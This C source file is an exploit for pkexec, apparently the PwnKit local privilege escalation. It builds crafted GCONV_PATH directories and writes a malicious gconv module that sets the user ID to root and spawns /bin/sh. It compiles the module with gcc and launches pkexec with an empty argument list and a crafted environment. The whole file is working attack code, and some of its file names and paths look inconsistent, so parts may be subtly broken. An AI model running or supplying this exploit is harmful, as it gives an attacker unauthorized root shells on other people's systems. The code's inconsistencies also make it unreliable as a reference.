#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *envp[] = {
    "pwnkit.so:.",
    "PATH=GCONV_PATH=.",
    "CHARSET=PWNKIT",
    "SHELL=pwnkit",
    NULL
};

int main(int argc, char *argv[]) {
    // Create GCONV_PATH=./pwnkit.so:.
    mkdir("GCONV_PATH=.", 0777);
    mkdir("pwnkit.so:.", 0777);
    
    // Create a directory named pwnkit for SHELL
    mkdir("pwnkit", 0777);
    
    // Create pwnkit/pwnkit.so:.
    FILE *fp = fopen("pwnkit/pwnkit.so:.", "w");
    fclose(fp);
    
    // Create pwnkit/GCONV_PATH=.
    fp = fopen("pwnkit/GCONV_PATH=.", "w");
    fclose(fp);
    
    // Create GCONV_PATH=./pwnkit
    fp = fopen("GCONV_PATH=./pwnkit", "w");
    fprintf(fp, "module UTF-8// PWNKIT// pwnkit 1\n");
    fclose(fp);
    
    // Create the malicious gconv module
    fp = fopen("pwnkit.c", "w");
    fprintf(fp, "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n");
    fprintf(fp, "void gconv(void) {}\n");
    fprintf(fp, "void gconv_init(void *step) {\n");
    fprintf(fp, "    setuid(0); setgid(0);\n");
    fprintf(fp, "    seteuid(0); setegid(0);\n");
    fprintf(fp, "    char *args[] = {\"/bin/sh\", NULL};\n");
    fprintf(fp, "    execve(\"/bin/sh\", args, NULL);\n");
    fprintf(fp, "    exit(0);\n");
    fprintf(fp, "}\n");
    fclose(fp);
    
    // Compile the malicious module
    system("gcc -shared -fPIC -o pwnkit/pwnkit.so pwnkit.c 2>/dev/null");
    
    // Run pkexec with crafted environment
    char *pkexec_args[] = {NULL};
    execve("/usr/bin/pkexec", pkexec_args, envp);
    
    return 0;
}